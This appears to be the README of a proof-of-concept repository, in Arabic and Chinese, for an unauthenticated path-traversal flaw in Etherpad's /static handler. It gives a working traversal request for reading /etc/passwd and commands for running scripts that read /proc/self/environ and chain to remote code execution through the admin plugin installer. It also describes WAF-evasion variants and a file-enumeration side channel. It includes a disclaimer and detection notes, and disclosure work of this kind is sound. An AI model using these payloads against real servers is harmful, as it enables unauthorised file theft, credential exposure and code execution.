
إثبات مفهوم وتحليل لـ CVE-2026-114516، وهو اجتياز مسار غير مُصادَق عليه في معالج /static الخاص بـ Etherpad يتيح قراءة ملفات عشوائية وتنفيذ أوامر عن بُعد متسلسل بصلاحيات المسؤول، مع متغيرات لتجاوز WAF.
>= 1.8.14, < 3.3.3، تم إصلاحه في 3.3.3AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/static/* (src/node/utils/Minify.ts)مطهّر المسارات في Etherpad يحوّل الشرطة المائلة العكسية إلى شرطة مائلة أمامية على Windows فقط (sanitizePathname.ts). على أنظمة POSIX، فإن %5C (المشفّر \) بعد فك التشفير يصبح بايتات اسم ملف عادية، ويمر عبر جميع عمليات التحقق كما هو؛ بعد التحقق ينفّذ Minify.ts بشكل غير مشروط filename.replace(/\\/g, '/') — محوّلًا المقطع الخامل ..\ إلى اجتياز حقيقي ../، دون أي إعادة فحص. يُسجَّل هذا المسار على خطاف expressPreSession (قبل المصادقة)، والإضافة الزائفة الأساسية ep_etherpad-lite موجودة دائمًا، لذلك يمكن لأي مهاجم غير مصادق عليه قراءة أي ملف بهوية المستخدم الذي يشغّل Etherpad:
GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd
في عمليات النشر التي تم تكوين كلمة مرور المسؤول فيها، يمكن لنفس الثغرة قراءة /proc/self/environ (للحصول على كلمة مرور وقت التشغيل) وsettings.json، وبالتالي الدخول إلى مثبّت إضافة الإدارة لتحقيق تنفيذ التعليمات البرمجية داخل العملية (انظر poc/exploit_rce.py).
analysis/root-cause.md — 代码级根因分析(完整触发链)
analysis/variant-matrix.md — 变体矩阵:40 类成功形状(含 13 类 WAF 规避 + 12 类段级局部自由度,全部带完整请求原文)
poc/exploit_afr.py — 任意文件读取 PoC(变体引擎,单命令)
poc/exploit_rce.py — 文件读取→管理员→安装器→RCE 完整链 PoC
poc/mock_registry.js — 本地验证用 registry(模拟 npm 投毒)
poc/build_marker_package.sh — 验证插件包构建脚本
requests/successful-requests.md — 攻击成功请求与响应原文、检测要点
# 任意文件读取(未认证)
python3 poc/exploit_afr.py -u http://TARGET:9001 -f /etc/passwd
# 读取运行时环境变量(含管理员密码插值)
python3 poc/exploit_afr.py -u http://TARGET:9001 -f /proc/self/environ
# 运行变体矩阵
python3 poc/exploit_afr.py -u http://TARGET:9001 --scan
# 完整 RCE 链(前置条件见 poc/exploit_rce.py 头部说明)
python3 poc/exploit_rce.py -u http://TARGET:9001
للاختبار فقط على الأنظمة التي تملكها أو لديك إذن صريح باختبارها. انظر DISCLAIMER.md.
| شكل النشر | قراءة الملفات | استكشاف وجود الملفات | سلسلة RCE |
|---|---|---|---|
| صورة Docker الافتراضية (بدون تعيين كلمة مرور المسؤول) | ✅ أي ملف قابل للقراءة بواسطة مستخدم etherpad | ✅ التمييز بين 500/404 | ❌ (عندما يكون ${ADMIN_PASSWORD:null} مساويًا لـ null لا يتم إنشاء مستخدم admin، وبالتالي يكون الحلقة الأولى من السلسلة غير قابلة للوصول) |
| مع تعيين كلمة مرور المسؤول (شائع في الإنتاج) | ✅ يتضمن /proc/self/environ وsettings.json | ✅ | ✅ تم التحقق منه بالكامل |
| النسخة المُصلحة 3.3.3 | ❌ إعادة إرسال الحمولة نفسها مرفوضة (404) | — | ❌ |
قناة جانبية جديرة بالملاحظة: قراءة ملف موجود لكن بدون صلاحية (مثل /etc/shadow) تُرجع 500، بينما الملف غير الموجود يُرجع 404 — ما يتيح لمهاجم غير مُصادَق تعداد نظام الملفات بناءً على ذلك.
تحقّق هذا المستودع من 40 فئة من الأشكال الناجحة. منها 13 فئة تُنمذج حمولة الاجتياز (تشابك الكلمات العشوائية، تداخل المقاطع الرباعية النقاط، استهداف كل شيء بصيغة hex، ترميز %2f، تفكيك كلمات ./ المفتاحية، اجتياز فائق الطول، URI مطلق، إلخ — انظر القسم الخامس من مصفوفة المتغيرات)؛ و12 فئة تستهدف درجات الحرية المحلية لكل مقطع من مقاطع URI (انظر القسم السادس): plugins/ واسم الإضافة وstatic/ الثاني كلها تقع ضمن نطاق التقاط أحرف البدل في التوجيه، ويمكن ترميز كل مقطع منها بأي ترميز URL — وفي التركيبة النهائية لا يوجد في URL أي مرساة نصية صريحة باستثناء بادئة التوجيه /static/. النواة المشتركة: طيّ path.join/normalize هو عملية نصية بحتة، وكل قاعدة تُنمذج "كيف يبدو الاجتياز" أو "الكلمات المفتاحية الصريحة" يمكن تجاوزها؛ والكشف الموثوق يتطلب أولًا إجراء تسوية فك ترميز كامل ثم المطابقة، أو اعتماد دلالات التحقق الحقيقية من احتواء المسار كما في النسخة المُصلحة.